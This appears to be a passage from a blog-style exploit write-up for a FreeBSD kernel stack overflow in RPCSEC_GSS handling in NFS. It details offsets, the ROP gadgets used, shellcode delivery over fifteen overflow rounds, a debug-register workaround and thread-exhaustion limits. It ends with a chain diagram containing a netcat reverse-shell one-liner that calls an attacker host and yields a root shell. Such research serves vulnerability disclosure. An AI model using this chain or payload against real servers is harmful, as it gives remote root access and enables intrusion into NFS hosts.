The initial assumption was that saved RBX starts at credential byte 120 and RIP at byte 168 (based on the disassembly of svc_rpc_gss_validate). In practice, the GSS credential header — which includes a 16-byte context handle with XDR padding — shifts the overflow data by 32 bytes. The real RIP offset is byte 200. This was discovered by sending a De Bruijn cyclic pattern and reading the faulting register values from the kernel panic dump.

MIT ↔ Heimdal GSS Token Incompatibility

FreeBSD’s gssd daemon uses Heimdal’s GSS-API library, while the attacker’s host uses MIT Kerberos. The initial GSS context establishment returned GSS_S_DEFECTIVE_TOKEN (0xd0000) because MIT’s gssapi module canonicalized the hostname: freebsd-vuln→ DNS → 127.0.0.1 → reverse DNS → localhost, producing a ticket for nfs/localhost@TEST.LOCAL instead of nfs/test@TEST.LOCAL. Fixed with rdns = false and dns_canonicalize_hostname = false in /etc/krb5.conf, plus using gssapi.NameType.kerberos_principal instead of hostbased_service.

Hardware Debug Register Inheritance (Trap 1)

After the shellcode was executing correctly (process names appeared in ps), the worker function consistently crashed with trap 1(debug exception) at a valid mov instruction. The cause: kproc_create() copies the parent thread’s PCB (including debug registers DR0–DR7) to the child. Previous kernel panics had triggered DDB (the kernel debugger), which sets hardware breakpoints that persist in the NFS thread’s DR registers. The fix: clear DR7 in the entry shellcode before calling kproc_create(), so the child inherits a clean debug register state.

Shellcode Delivery Across 400-Byte Limit

The 432-byte shellcode cannot fit in a single 400-byte credential (after subtracting 200 bytes of GSS header + padding + registers + ROP chain). Early attempts used rep movsq to bulk-copy shellcode from the stack, but the only available push rsp; pop rsi gadget has a side effect (or cl, [rax-1]) that corrupts the repeat count, and the copy produces 72 bytes of “junk” (ROP chain entries) before the actual data.

The working approach uses the simpler pop rdi + pop rax + mov [rdi], rax primitive: each 8-byte write costs 40 bytes of ROP chain but has no side effects or junk. Four writes per round × 13 rounds = 52 writes = 416 bytes, plus the final round’s 2 writes = 432 bytes total. This is slower (15 rounds vs. the theoretical 2–3 with rep movsq) but reliable.

NFS Thread Exhaustion

Each overflow round kills one NFS worker thread via kthread_exit(). The exploit needs 15 rounds, and GSS context establishment also temporarily occupies a thread. FreeBSD’s nfsd spawns 8 threads per CPU by default. With 1 CPU (8 threads), the exploit fails around round 9 with “GSS context failed” — all threads have been consumed. With 2 CPUs (16 threads), there is enough headroom for all 15 rounds. The VM must have at least 2 CPUs. In a real-world attack against a production NFS server, thread counts are typically higher (16-64 across multiple CPUs), so this is not a practical limitation.


6. Exploit Summary

Attacker (host)                     FreeBSD Target (port 2049)
    │                                        │
    │── kinit testuser@TEST.LOCAL ──────────→│ KDC (via SSH tunnel to port 88)
    │                                        │
    │── [R1] RPCSEC_GSS overflow ──────────→│ ROP: pmap_change_prot(BSS, RWX)
    │                                        │      kthread_exit (1/16 threads killed)
    │                                        │
    │── [R2-R14] 13 more overflows ────────→│ ROP: 4 × mov [BSS+off], qword per round
    │                                        │      (writes 416B of shellcode to BSS)
    │                                        │      kthread_exit (14/16 killed)
    │                                        │
    │── [R15] final overflow ──────────────→│ ROP: write last 16B + jump to BSS
    │                                        │
    │                                        │ ┌─ Entry (NFS thread):
    │                                        │ │  stack pivot to BSS+0x1F00
    │                                        │ │  clear DR7
    │                                        │ │  kproc_create(worker, ..., "/bin/sh")
    │                                        │ │  kthread_exit()
    │                                        │ │
    │                                        │ └─ Worker (new kernel process):
    │                                        │    exec_alloc_args + exec_args_add_*
    │                                        │    kern_execve("/bin/sh", "-c", REVSHELL)
    │                                        │    clear P_KPROC
    │                                        │    return → fork_exit → userret → iretq
    │                                        │    → /bin/sh runs as uid 0
    │                                        │
    │←── Reverse shell (nc) ────────────��───│ mkfifo /tmp/f; sh</tmp/f |
    │                                        │   nc ATTACKER 4444 >/tmp/f
    │  # id                                  │
    │  uid=0(root) gid=0(wheel)              │

Total packets: 15 RPCSEC_GSS overflow packets Total time: ~45 seconds (15 rounds × ~3 seconds each) Result: Interactive uid 0 reverse shell

Comments are closed.